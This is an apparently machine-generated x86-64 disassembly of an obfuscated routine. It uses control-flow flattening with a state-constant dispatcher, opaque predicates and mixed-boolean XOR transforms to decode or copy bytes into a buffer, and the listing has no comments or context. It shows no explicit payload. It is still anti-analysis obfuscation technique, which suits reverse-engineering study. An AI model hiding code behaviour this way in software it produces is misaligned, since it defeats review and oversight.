mov ecx, 0x216c1d41
jmp 0x1400023f0
mov ecx, 0x4de8461d
jmp 0x1400023f0
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor eax, ecx
xor eax, edx
xor al, 0x13
mov ecx, r9d
jmp 0x1400023f0
mov ecx, 0x9ce81538
jmp 0x1400023f0
mov byte [rbp + 0x70], cl
mov al, byte [rbp + 0x70]
mov byte [r8 + 1], al
mov rax, qword [rbp + 0x58]
movzx r9d, byte [rax + 0x28]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete al
sete byte [rbp + 0x8f]
mov edi, 0x9ce81538
mov ebx, 0x8ceadef2
cmovne edi, ebx
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov ebx, 0x9ce81538
cmovl edi, ebx
mov ebx, ecx
or bl, al
add r9, r15
test bl, bl
mov r10d, 0x62439574
mov ebx, 0xc5c4e523
cmovne r10d, ebx
mov r11d, 0x62439574
mov esi, 0x54254c1a
cmovne r11d, esi
mov esi, 0x8ceadef2
mov ebx, 0xe0d67025
cmovne esi, ebx
xor dl, cl
and cl, al
xor cl, dl
mov eax, 0xd13082f0
mov ecx, 0x76479a56
cmovne eax, ecx
mov edx, 0x413ac401
jmp 0x140002600
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0x413ac400
jle 0x140002640
cmp ebx, 0x54254c19
jg 0x140002670
cmp ebx, 0x413ac401
je 0x1400026cd
cmp ebx, 0x4de8461d
je 0x1400026ec
mov edx, ebx
cmp ebx, 0x4ec8e6fe
jne 0x140002600
mov edx, eax
jmp 0x140002600
cmp ebx, 0xd13082ef
jle 0x1400026a0
mov edx, edi
cmp ebx, 0xd13082f0
je 0x140002600
cmp ebx, 0xe0d67025
je 0x140002706
mov edx, ebx
cmp ebx, 0x216c1d41
jne 0x140002600
mov edx, r11d
jmp 0x140002600
cmp ebx, 0x54254c1a
je 0x140002710
cmp ebx, 0x62439574
je 0x1400025d0
mov edx, ebx
cmp ebx, 0x76479a56
jne 0x140002600
mov edx, 0x4ec8e6fe
jmp 0x140002600
cmp ebx, 0x8ceadef2
je 0x140002738
mov edx, esi
cmp ebx, 0x9ce81538
je 0x140002600
mov edx, ebx
cmp ebx, 0xc5c4e523
jne 0x140002600
jmp 0x140002f91
movzx ebx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test bl, bl
cmovne edx, r14d
jmp 0x140002600
mov qword [rbp + 0x78], r9
lea rdx, [r12 + 0x28]
mov qword [rbp + 0x80], rdx
mov edx, 0x216c1d41
jmp 0x140002600
mov edx, 0x4de8461d
jmp 0x140002600
mov rcx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov ebx, edx
and ebx, 0x6c
or ebx, 0x13
and edx, 0x93
xor ecx, edx
xor ecx, ebx
xor cl, 0x13
mov edx, r10d
jmp 0x140002600
mov edx, 0x9ce81538
jmp 0x140002600
mov byte [rbp + 0x70], al
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp]
mov byte [rcx], al
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x58]
movzx r8d, byte [rax + 0x2b]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r11b
sete byte [rbp + 0x8f]
mov ebx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne ebx, eax
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov eax, 0x9ce81538
cmovl ebx, eax
mov eax, ecx
or al, r11b
add r8, r15
test al, al
mov r9d, 0x62439574
mov eax, 0xc5c4e523
cmovne r9d, eax
mov r10d, 0x62439574
mov eax, 0x54254c1a
cmovne r10d, eax
mov edi, 0x8ceadef2
mov eax, 0xe0d67025
cmovne edi, eax
xor dl, cl
and cl, r11b
xor cl, dl
mov esi, 0xd13082f0
mov eax, 0x76479a56
cmovne esi, eax
mov ecx, 0x413ac401
jmp 0x140002820
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov ecx, 0x54254c1a
nop word cs:[rax + rax]
nop
mov edx, ecx
cmp ecx, 0x413ac400
jle 0x140002860
cmp edx, 0x54254c19
jg 0x140002890
cmp edx, 0x413ac401
je 0x1400028ed
cmp edx, 0x4de8461d
je 0x14000290c
mov ecx, edx
cmp edx, 0x4ec8e6fe
jne 0x140002820
mov ecx, esi
jmp 0x140002820
cmp edx, 0xd13082ef
jle 0x1400028c0
mov ecx, ebx
cmp edx, 0xd13082f0
je 0x140002820
cmp edx, 0xe0d67025
je 0x140002926
mov ecx, edx
cmp edx, 0x216c1d41
jne 0x140002820
mov ecx, r10d
jmp 0x140002820
cmp edx, 0x54254c1a
je 0x140002930
cmp edx, 0x62439574
je 0x1400027ee
mov ecx, edx
cmp edx, 0x76479a56
jne 0x140002820
mov ecx, 0x4ec8e6fe
jmp 0x140002820
cmp edx, 0x8ceadef2
je 0x140002957
mov ecx, edi
cmp edx, 0x9ce81538
je 0x140002820
mov ecx, edx
cmp edx, 0xc5c4e523
jne 0x140002820
jmp 0x1400031a2
movzx edx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov ecx, 0x76479a56
cmovne ecx, r14d
test dl, dl
cmovne ecx, r14d
jmp 0x140002820
mov qword [rbp + 0x78], r8
lea rcx, [r12 + 0x2b]
mov qword [rbp + 0x80], rcx
mov ecx, 0x216c1d41
jmp 0x140002820
mov ecx, 0x4de8461d
jmp 0x140002820
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor eax, ecx
xor eax, edx
xor al, 0x13
mov ecx, r9d
jmp 0x140002820
mov ecx, 0x9ce81538
jmp 0x140002820
mov byte [rbp + 0x70], sil
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx], al
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
sete byte [rbp + 0x8f]
sete r10b
mov edx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne edx, eax
cmp ecx, 0xa
setl byte [rbp + 0x68]
setl al
mov ecx, 0x9ce81538
cmovl edx, ecx
mov ecx, eax
or cl, r10b
mov r8d, 0x62439574
mov ecx, 0xc5c4e523
cmovne r8d, ecx
mov r9d, 0x62439574
mov ecx, 0x54254c1a
cmovne r9d, ecx
mov ebx, 0x8ceadef2
mov ecx, 0xe0d67025
cmovne ebx, ecx
xor dil, al
and al, r10b
xor al, dil
mov edi, 0xd13082f0
mov eax, 0x76479a56
cmovne edi, eax
mov eax, 0x413ac401
jmp 0x140002a20
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140002a60
cmp ecx, 0x54254c19
jg 0x140002a90
cmp ecx, 0x413ac401
je 0x140002aed
cmp ecx, 0x4de8461d
je 0x140002b0c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140002a20
mov eax, edi
jmp 0x140002a20
cmp ecx, 0xd13082ef
jle 0x140002ac0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140002a20
cmp ecx, 0xe0d67025
je 0x140002b2a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140002a20
mov eax, r9d
jmp 0x140002a20
cmp ecx, 0x54254c1a
je 0x140002b34
cmp ecx, 0x62439574
je 0x1400029fa
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140002a20
mov eax, 0x4ec8e6fe
jmp 0x140002a20
cmp ecx, 0x8ceadef2
je 0x140002b5c
mov eax, ebx
cmp ecx, 0x9ce81538
je 0x140002a20
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140002a20
jmp 0x1400033b1
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140002a20
lea rax, [r15 + 0x74]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 1]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140002a20
mov eax, 0x4de8461d
jmp 0x140002a20
mov rsi, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor esi, eax
xor esi, ecx
xor sil, 0x13
mov eax, r8d
jmp 0x140002a20
mov eax, 0x9ce81538
jmp 0x140002a20
mov byte [rbp + 0x70], sil
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 1], al
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
sete byte [rbp + 0x8f]
sete r10b
mov edx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne edx, eax
cmp ecx, 0xa
setl byte [rbp + 0x68]
setl al
mov ecx, 0x9ce81538
cmovl edx, ecx
mov ecx, eax
or cl, r10b
mov r8d, 0x62439574
mov ecx, 0xc5c4e523
cmovne r8d, ecx
mov r9d, 0x62439574
mov ecx, 0x54254c1a
cmovne r9d, ecx
mov ebx, 0x8ceadef2
mov ecx, 0xe0d67025
cmovne ebx, ecx
xor dil, al
and al, r10b
xor al, dil
mov edi, 0xd13082f0
mov eax, 0x76479a56
cmovne edi, eax
mov eax, 0x413ac401
jmp 0x140002c30
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140002c70
cmp ecx, 0x54254c19
jg 0x140002ca0
cmp ecx, 0x413ac401
je 0x140002cfd
cmp ecx, 0x4de8461d
je 0x140002d1c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140002c30
mov eax, edi
jmp 0x140002c30
cmp ecx, 0xd13082ef
jle 0x140002cd0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140002c30
cmp ecx, 0xe0d67025
je 0x140002d3a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140002c30
mov eax, r9d
jmp 0x140002c30
cmp ecx, 0x54254c1a
je 0x140002d44
cmp ecx, 0x62439574
je 0x140002c00
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140002c30
mov eax, 0x4ec8e6fe
jmp 0x140002c30
cmp ecx, 0x8ceadef2
je 0x140002d6c
mov eax, ebx
cmp ecx, 0x9ce81538
je 0x140002c30
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140002c30
jmp 0x1400035c6
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140002c30
lea rax, [r15 + 0x74]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 2]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140002c30
mov eax, 0x4de8461d
jmp 0x140002c30
mov rsi, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor esi, eax
xor esi, ecx
xor sil, 0x13
mov eax, r8d
jmp 0x140002c30
mov eax, 0x9ce81538
jmp 0x140002c30
mov byte [rbp + 0x70], al
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x18]
mov byte [rcx + 2], al
mov rax, qword [rbp + 0x58]
movzx r8d, byte [rax + 3]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r11b
sete byte [rbp + 0x8f]
mov ebx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne ebx, eax
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov eax, 0x9ce81538
cmovl ebx, eax
mov eax, ecx
or al, r11b
add r8, r15
test al, al
mov r9d, 0x62439574
mov eax, 0xc5c4e523
cmovne r9d, eax
mov r10d, 0x62439574
mov eax, 0x54254c1a
cmovne r10d, eax
mov edi, 0x8ceadef2
mov eax, 0xe0d67025
cmovne edi, eax
xor dl, cl
and cl, r11b
xor cl, dl
mov esi, 0xd13082f0
mov eax, 0x76479a56
cmovne esi, eax
mov ecx, 0x413ac401
jmp 0x140002e50
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov ecx, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax + rax]
mov edx, ecx
cmp ecx, 0x413ac400
jle 0x140002e90
cmp edx, 0x54254c19
jg 0x140002ec0
cmp edx, 0x413ac401
je 0x140002f1d
cmp edx, 0x4de8461d
je 0x140002f3c
mov ecx, edx
cmp edx, 0x4ec8e6fe
jne 0x140002e50
mov ecx, esi
jmp 0x140002e50
cmp edx, 0xd13082ef
jle 0x140002ef0
mov ecx, ebx
cmp edx, 0xd13082f0
je 0x140002e50
cmp edx, 0xe0d67025
je 0x140002f56
mov ecx, edx
cmp edx, 0x216c1d41
jne 0x140002e50
mov ecx, r10d
jmp 0x140002e50
cmp edx, 0x54254c1a
je 0x140002f60
cmp edx, 0x62439574
je 0x140002e1b
mov ecx, edx
cmp edx, 0x76479a56
jne 0x140002e50
mov ecx, 0x4ec8e6fe
jmp 0x140002e50
cmp edx, 0x8ceadef2
je 0x140002f87
mov ecx, edi
cmp edx, 0x9ce81538
je 0x140002e50
mov ecx, edx
cmp edx, 0xc5c4e523
jne 0x140002e50
jmp 0x1400037d6
movzx edx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov ecx, 0x76479a56
cmovne ecx, r14d
test dl, dl
cmovne ecx, r14d
jmp 0x140002e50
mov qword [rbp + 0x78], r8
lea rcx, [r12 + 3]
mov qword [rbp + 0x80], rcx
mov ecx, 0x216c1d41
jmp 0x140002e50
mov ecx, 0x4de8461d
jmp 0x140002e50
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor eax, ecx
xor eax, edx
xor al, 0x13
mov ecx, r9d
jmp 0x140002e50
mov ecx, 0x9ce81538
jmp 0x140002e50
mov byte [rbp + 0x70], cl
mov al, byte [rbp + 0x70]
mov byte [r8 + 2], al
mov rax, qword [rbp + 0x58]
movzx r9d, byte [rax + 0x29]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete al
sete byte [rbp + 0x8f]
mov edi, 0x9ce81538
mov ebx, 0x8ceadef2
cmovne edi, ebx
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov ebx, 0x9ce81538
cmovl edi, ebx
mov ebx, ecx
or bl, al
add r9, r15
test bl, bl
mov r10d, 0x62439574
mov ebx, 0xc5c4e523
cmovne r10d, ebx
mov r11d, 0x62439574
mov esi, 0x54254c1a
cmovne r11d, esi
mov esi, 0x8ceadef2
mov ebx, 0xe0d67025
cmovne esi, ebx
xor dl, cl
and cl, al
xor cl, dl
mov eax, 0xd13082f0
mov ecx, 0x76479a56
cmovne eax, ecx
mov edx, 0x413ac401
jmp 0x140003060
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop word cs:[rax + rax]
mov ebx, edx
cmp edx, 0x413ac400
jle 0x1400030a0
cmp ebx, 0x54254c19
jg 0x1400030d0
cmp ebx, 0x413ac401
je 0x14000312d
cmp ebx, 0x4de8461d
je 0x14000314c
mov edx, ebx
cmp ebx, 0x4ec8e6fe
jne 0x140003060
mov edx, eax
jmp 0x140003060
cmp ebx, 0xd13082ef
jle 0x140003100
mov edx, edi
cmp ebx, 0xd13082f0
je 0x140003060
cmp ebx, 0xe0d67025
je 0x140003166
mov edx, ebx
cmp ebx, 0x216c1d41
jne 0x140003060
mov edx, r11d
jmp 0x140003060
cmp ebx, 0x54254c1a
je 0x140003170
cmp ebx, 0x62439574
je 0x140003030
mov edx, ebx
cmp ebx, 0x76479a56
jne 0x140003060
mov edx, 0x4ec8e6fe
jmp 0x140003060
cmp ebx, 0x8ceadef2
je 0x140003198
mov edx, esi
cmp ebx, 0x9ce81538
je 0x140003060
mov edx, ebx
cmp ebx, 0xc5c4e523
jne 0x140003060
jmp 0x1400012c2
movzx ebx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test bl, bl
cmovne edx, r14d
jmp 0x140003060
mov qword [rbp + 0x78], r9
lea rdx, [r12 + 0x29]
mov qword [rbp + 0x80], rdx
mov edx, 0x216c1d41
jmp 0x140003060
mov edx, 0x4de8461d
jmp 0x140003060
mov rcx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
mov ebx, edx
and ebx, 0x6c
or ebx, 0x13
and edx, 0x93
xor ecx, edx
xor ecx, ebx
xor cl, 0x13
mov edx, r10d
jmp 0x140003060
mov edx, 0x9ce81538
jmp 0x140003060
mov byte [rbp + 0x70], al
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x38]
mov byte [rcx + 1], al
mov rax, qword [rbp + 0x58]
movzx r8d, byte [rax + 0x2c]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r11b
sete byte [rbp + 0x8f]
mov ebx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne ebx, eax
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov eax, 0x9ce81538
cmovl ebx, eax
mov eax, ecx
or al, r11b
add r8, r15
test al, al
mov r9d, 0x62439574
mov eax, 0xc5c4e523
cmovne r9d, eax
mov r10d, 0x62439574
mov eax, 0x54254c1a
cmovne r10d, eax
mov edi, 0x8ceadef2
mov eax, 0xe0d67025
cmovne edi, eax
xor dl, cl
and cl, r11b
xor cl, dl
mov esi, 0xd13082f0
mov eax, 0x76479a56
cmovne esi, eax
mov ecx, 0x413ac401
jmp 0x140003270
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov ecx, 0x54254c1a
nop dword [rax]
mov edx, ecx
cmp ecx, 0x413ac400
jle 0x1400032b0
cmp edx, 0x54254c19
jg 0x1400032e0
cmp edx, 0x413ac401
je 0x14000333d
cmp edx, 0x4de8461d
je 0x14000335c
mov ecx, edx
cmp edx, 0x4ec8e6fe
jne 0x140003270
mov ecx, esi
jmp 0x140003270
cmp edx, 0xd13082ef
jle 0x140003310
mov ecx, ebx
cmp edx, 0xd13082f0
je 0x140003270
cmp edx, 0xe0d67025
je 0x140003376
mov ecx, edx
cmp edx, 0x216c1d41
jne 0x140003270
mov ecx, r10d
jmp 0x140003270
cmp edx, 0x54254c1a
je 0x140003380
cmp edx, 0x62439574
je 0x140003247
mov ecx, edx
cmp edx, 0x76479a56
jne 0x140003270
mov ecx, 0x4ec8e6fe
jmp 0x140003270
cmp edx, 0x8ceadef2
je 0x1400033a7
mov ecx, edi
cmp edx, 0x9ce81538
je 0x140003270
mov ecx, edx
cmp edx, 0xc5c4e523
jne 0x140003270
jmp 0x140003a09
movzx edx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov ecx, 0x76479a56
cmovne ecx, r14d
test dl, dl
cmovne ecx, r14d
jmp 0x140003270
mov qword [rbp + 0x78], r8
lea rcx, [r12 + 0x2c]
mov qword [rbp + 0x80], rcx
mov ecx, 0x216c1d41
jmp 0x140003270
mov ecx, 0x4de8461d
jmp 0x140003270
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor eax, ecx
xor eax, edx
xor al, 0x13
mov ecx, r9d
jmp 0x140003270
mov ecx, 0x9ce81538
jmp 0x140003270
mov byte [rbp + 0x70], sil
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 1], al
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
sete byte [rbp + 0x8f]
sete r10b
mov edx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne edx, eax
cmp ecx, 0xa
setl byte [rbp + 0x68]
setl al
mov ecx, 0x9ce81538
cmovl edx, ecx
mov ecx, eax
or cl, r10b
mov r8d, 0x62439574
mov ecx, 0xc5c4e523
cmovne r8d, ecx
mov r9d, 0x62439574
mov ecx, 0x54254c1a
cmovne r9d, ecx
mov ebx, 0x8ceadef2
mov ecx, 0xe0d67025
cmovne ebx, ecx
xor dil, al
and al, r10b
xor al, dil
mov edi, 0xd13082f0
mov eax, 0x76479a56
cmovne edi, eax
mov eax, 0x413ac401
jmp 0x140003480
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400034c0
cmp ecx, 0x54254c19
jg 0x1400034f0
cmp ecx, 0x413ac401
je 0x14000354d
cmp ecx, 0x4de8461d
je 0x14000356c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140003480
mov eax, edi
jmp 0x140003480
cmp ecx, 0xd13082ef
jle 0x140003520
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140003480
cmp ecx, 0xe0d67025
je 0x14000358a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140003480
mov eax, r9d
jmp 0x140003480
cmp ecx, 0x54254c1a
je 0x140003594
cmp ecx, 0x62439574
je 0x14000344b
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140003480
mov eax, 0x4ec8e6fe
jmp 0x140003480
cmp ecx, 0x8ceadef2
je 0x1400035bc
mov eax, ebx
cmp ecx, 0x9ce81538
je 0x140003480
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140003480
jmp 0x140003c21
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140003480
lea rax, [r15 + 0x74]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 2]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140003480
mov eax, 0x4de8461d
jmp 0x140003480
mov rsi, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor esi, eax
xor esi, ecx
xor sil, 0x13
mov eax, r8d
jmp 0x140003480
mov eax, 0x9ce81538
jmp 0x140003480
mov byte [rbp + 0x70], sil
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 2], al
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
sete byte [rbp + 0x8f]
sete r10b
mov edx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne edx, eax
cmp ecx, 0xa
setl byte [rbp + 0x68]
setl al
mov ecx, 0x9ce81538
cmovl edx, ecx
mov ecx, eax
or cl, r10b
mov r8d, 0x62439574
mov ecx, 0xc5c4e523
cmovne r8d, ecx
mov r9d, 0x62439574
mov ecx, 0x54254c1a
cmovne r9d, ecx
mov ebx, 0x8ceadef2
mov ecx, 0xe0d67025
cmovne ebx, ecx
xor dil, al
and al, r10b
xor al, dil
mov edi, 0xd13082f0
mov eax, 0x76479a56
cmovne edi, eax
mov eax, 0x413ac401
jmp 0x140003690
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400036d0
cmp ecx, 0x54254c19
jg 0x140003700
cmp ecx, 0x413ac401
je 0x14000375d
cmp ecx, 0x4de8461d
je 0x14000377c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140003690
mov eax, edi
jmp 0x140003690
cmp ecx, 0xd13082ef
jle 0x140003730
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140003690
cmp ecx, 0xe0d67025
je 0x14000379a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140003690
mov eax, r9d
jmp 0x140003690
cmp ecx, 0x54254c1a
je 0x1400037a4
cmp ecx, 0x62439574
je 0x140003660
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140003690
mov eax, 0x4ec8e6fe
jmp 0x140003690
cmp ecx, 0x8ceadef2
je 0x1400037cc
mov eax, ebx
cmp ecx, 0x9ce81538
je 0x140003690
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140003690
jmp 0x140003e36
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140003690
lea rax, [r15 + 0x70]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 3]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140003690
mov eax, 0x4de8461d
jmp 0x140003690
mov rsi, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor esi, eax
xor esi, ecx
xor sil, 0x13
mov eax, r8d
jmp 0x140003690
mov eax, 0x9ce81538
jmp 0x140003690
mov byte [rbp + 0x70], al
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x18]
mov byte [rcx + 3], al
mov rax, qword [rbp + 0x58]
movzx edi, byte [rax + 4]
mov eax, dword [0x140061088]
mov edx, dword [0x14006108c]
lea r13d, [rax - 1]
imul r13d, eax
mov eax, r13d
and eax, 1
sete r9b
sete byte [rbp + 0x8f]
mov r8d, 0x9ce81538
mov ecx, 0x8ceadef2
cmovne r8d, ecx
mov dword [rbp + 0x48], edx
cmp edx, 0xa
setl bl
setl byte [rbp + 0x68]
mov ecx, 0x9ce81538
cmovl r8d, ecx
mov ecx, ebx
or cl, r9b
add rdi, r15
test cl, cl
mov ecx, 0x62439574
mov esi, 0xc5c4e523
cmovne ecx, esi
mov esi, 0x62439574
mov edx, 0x54254c1a
cmovne esi, edx
mov r10d, 0x8ceadef2
mov edx, 0xe0d67025
cmovne r10d, edx
xor al, bl
and bl, r9b
xor bl, al
mov r9d, 0xd13082f0
mov eax, 0x76479a56
cmovne r9d, eax
mov eax, 0x413ac401
jmp 0x1400038b0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop dword [rax + rax]
mov r11d, eax
cmp eax, 0x413ac400
jle 0x1400038f0
cmp r11d, 0x54254c19
jg 0x140003930
cmp r11d, 0x413ac401
je 0x140003996
cmp r11d, 0x4de8461d
je 0x1400039b5
mov eax, r11d
cmp r11d, 0x4ec8e6fe
jne 0x1400038b0
mov eax, r9d
jmp 0x1400038b0
cmp r11d, 0xd13082ef
jle 0x140003964
mov eax, r8d
cmp r11d, 0xd13082f0
je 0x1400038b0
cmp r11d, 0xe0d67025
je 0x1400039cf
mov eax, r11d
cmp r11d, 0x216c1d41
jne 0x1400038b0
mov eax, esi
jmp 0x1400038b0
cmp r11d, 0x54254c1a
je 0x1400039d9
cmp r11d, 0x62439574
je 0x140003885
mov eax, r11d
cmp r11d, 0x76479a56
jne 0x1400038b0
mov eax, 0x4ec8e6fe
jmp 0x1400038b0
cmp r11d, 0x8ceadef2
je 0x1400039ff
mov eax, r10d
cmp r11d, 0x9ce81538
je 0x1400038b0
mov eax, r11d
cmp r11d, 0xc5c4e523
jne 0x1400038b0
jmp 0x140004045
movzx edx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test dl, dl
cmovne eax, r14d
jmp 0x1400038b0
mov qword [rbp + 0x78], rdi
lea rax, [r12 + 4]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x1400038b0
